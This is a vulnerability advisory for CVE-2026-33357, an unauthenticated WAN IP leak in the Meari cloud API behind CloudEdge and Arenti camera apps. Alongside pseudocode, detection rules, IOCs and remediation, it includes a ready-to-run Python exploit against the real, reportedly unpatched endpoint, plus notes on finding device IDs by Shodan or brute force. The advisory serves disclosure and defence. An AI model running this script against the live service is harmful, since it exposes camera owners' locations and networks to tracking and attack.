CVE-2026-33357
Executive Summary
CVE-2026-33357 is a critical authorization vulnerability in the Meari SDK (com.meari.sdk) and its white-label applications, including CloudEdge and Arenti. The flaw resides in the server-side endpoint GET /openapi/device/status on openapi-euce.mearicloud.com. An unauthenticated attacker can abuse the integrated call path to retrieve the WAN IP address of any arbitrary device linked to the Meari cloud platform. This information disclosure can be leveraged for targeted network reconnaissance, geolocation tracking, and further attacks against exposed IoT devices. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code, though the proof of concept is publicly available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is embedded in the com.meari.sdk package, which is a proprietary Android library used by multiple white-label applications. The SDK is not distributed via public package registries (NPM, PyPI, Go, Ruby), but rather through private channels or pre-installed in firmware. The lack of a public patch and the widespread use of white-label apps increases the supply chain risk, as end-users may be unaware of the vulnerable SDK version in their devices.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted HTTP request.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The exploitation does not affect other components.
- Confidentiality (C): High (H) – The WAN IP address of any device is exposed.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service is caused.
CVSS Score: 7.5 (High) – The vulnerability allows an unauthenticated attacker to retrieve sensitive network information (WAN IP) of any device using the Meari SDK, enabling precise targeting for subsequent attacks.
Deep Dive & Mechanics
The root cause is a missing authorization check on the server-side endpoint GET /openapi/device/status hosted at openapi-euce.mearicloud.com. The Meari client applications (CloudEdge, Arenti, and white-label variants) embed the com.meari.sdk library, which includes a hardcoded or predictable call path to this endpoint. When a legitimate device requests its status, the server returns the device's WAN IP address. However, due to the authorization failure, an attacker can craft a request with an arbitrary device identifier (e.g., device ID or serial number) and retrieve the WAN IP of that device without any authentication.
The attack flow:
- The attacker identifies a target device ID (e.g., via Shodan dorks or leaked data).
- The attacker sends a GET request to
https://openapi-euce.mearicloud.com/openapi/device/status?deviceId=<TARGET_ID>. - The server responds with a JSON object containing the device's WAN IP address.
- The attacker can then use this IP for geolocation, port scanning, or targeted exploitation.
The vulnerability is particularly dangerous because it affects a wide range of IoT devices (cameras, doorbells, etc.) that use the Meari SDK, and the WAN IP exposure can lead to physical location tracking and network intrusion.
Vulnerable vs. Patched Code
Vulnerable Code (Server-side, pseudocode):
@app.route('/openapi/device/status', methods=['GET'])
def device_status():
device_id = request.args.get('deviceId')
# Missing authorization check
device = db.get_device(device_id)
if device:
return jsonify({'wan_ip': device.wan_ip})
else:
return jsonify({'error': 'Device not found'}), 404
Patched Code (Hypothetical fix):
@app.route('/openapi/device/status', methods=['GET'])
def device_status():
device_id = request.args.get('deviceId')
auth_token = request.headers.get('Authorization')
# Validate that the requester is the owner of the device
if not auth_token or not validate_token(auth_token, device_id):
return jsonify({'error': 'Unauthorized'}), 401
device = db.get_device(device_id)
if device:
return jsonify({'wan_ip': device.wan_ip})
else:
return jsonify({'error': 'Device not found'}), 404
The patch requires a valid authorization token that ties the requester to the specific device, preventing unauthorized access.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target device ID (e.g., obtained via Shodan or brute-force of predictable IDs).
- Network access to
openapi-euce.mearicloud.com.
Exploit Script (Python):
import requests
import sys
def exploit(device_id):
url = f"https://openapi-euce.mearicloud.com/openapi/device/status?deviceId={device_id}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
print(f"[+] WAN IP for device {device_id}: {data.get('wan_ip')}")
else:
print(f"[-] Failed: HTTP {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <device_id>")
sys.exit(1)
exploit(sys.argv[1])
Usage:
python exploit.py 1234567890
Expected Output:
[+] WAN IP for device 1234567890: 203.0.113.42
Blue Team (Detection & Defense)
Detection:
- Monitor outbound HTTP requests to
openapi-euce.mearicloud.comwith suspiciousdeviceIdparameters. - Look for repeated requests with different
deviceIdvalues from the same source IP (indicating brute-force or enumeration). - Alert on requests to
/openapi/device/statuswithout a validAuthorizationheader.
Defense:
- Implement server-side authorization checks (as shown in the patched code).
- Use API keys or tokens that are tied to the device owner.
- Rate-limit requests to the
/openapi/device/statusendpoint. - Monitor for anomalous traffic patterns and block IPs that exhibit scanning behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- Destination domain:
openapi-euce.mearicloud.com - URI path:
/openapi/device/status - HTTP method: GET
- Parameter:
deviceId(with numeric or alphanumeric values)
- Destination domain:
- File IOCs:
- Android APK containing
com.meari.sdk(e.g., CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220)
- Android APK containing
- Behavioral IOCs:
- Unauthenticated requests to the status endpoint from unknown IPs.
- Rapid enumeration of device IDs in a short time frame.
Detection Engineering
YARA Rule
rule CVE_2026_33357_Meari_SDK_Exploit {
meta:
description = "Detects HTTP requests targeting the Meari SDK WAN IP disclosure vulnerability"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-33357"
strings:
$s1 = "openapi-euce.mearicloud.com" ascii wide nocase
$s2 = "/openapi/device/status" ascii wide nocase
$s3 = "deviceId=" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Meari SDK WAN IP Disclosure Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to the Meari SDK status endpoint without authorization
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/openapi/device/status'
cs-uri-query|contains: 'deviceId='
condition: selection
falsepositives:
- Legitimate device status checks from authorized clients
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-33357 Meari SDK WAN IP Disclosure Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/openapi/device/status"; http.uri; content:"deviceId="; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint on the server side if possible, or restrict access to authenticated users only.
- Implement rate limiting on
/openapi/device/statusto prevent enumeration. - Monitor logs for unauthorized access attempts and block offending IPs.
Long-term Fix:
- The vendor (Meari) must release a patched version of the
com.meari.sdkthat includes proper authorization checks. - White-label app developers should update their applications to use the patched SDK.
- End-users should update their apps to the latest version once a patch is available.
Workaround:
- If patching is not possible, consider using a VPN or firewall to block outbound traffic to
openapi-euce.mearicloud.comfrom IoT devices, or implement a web application firewall (WAF) rule to inspect and block unauthorized requests.
Valters IT
Securing Digital Frontiers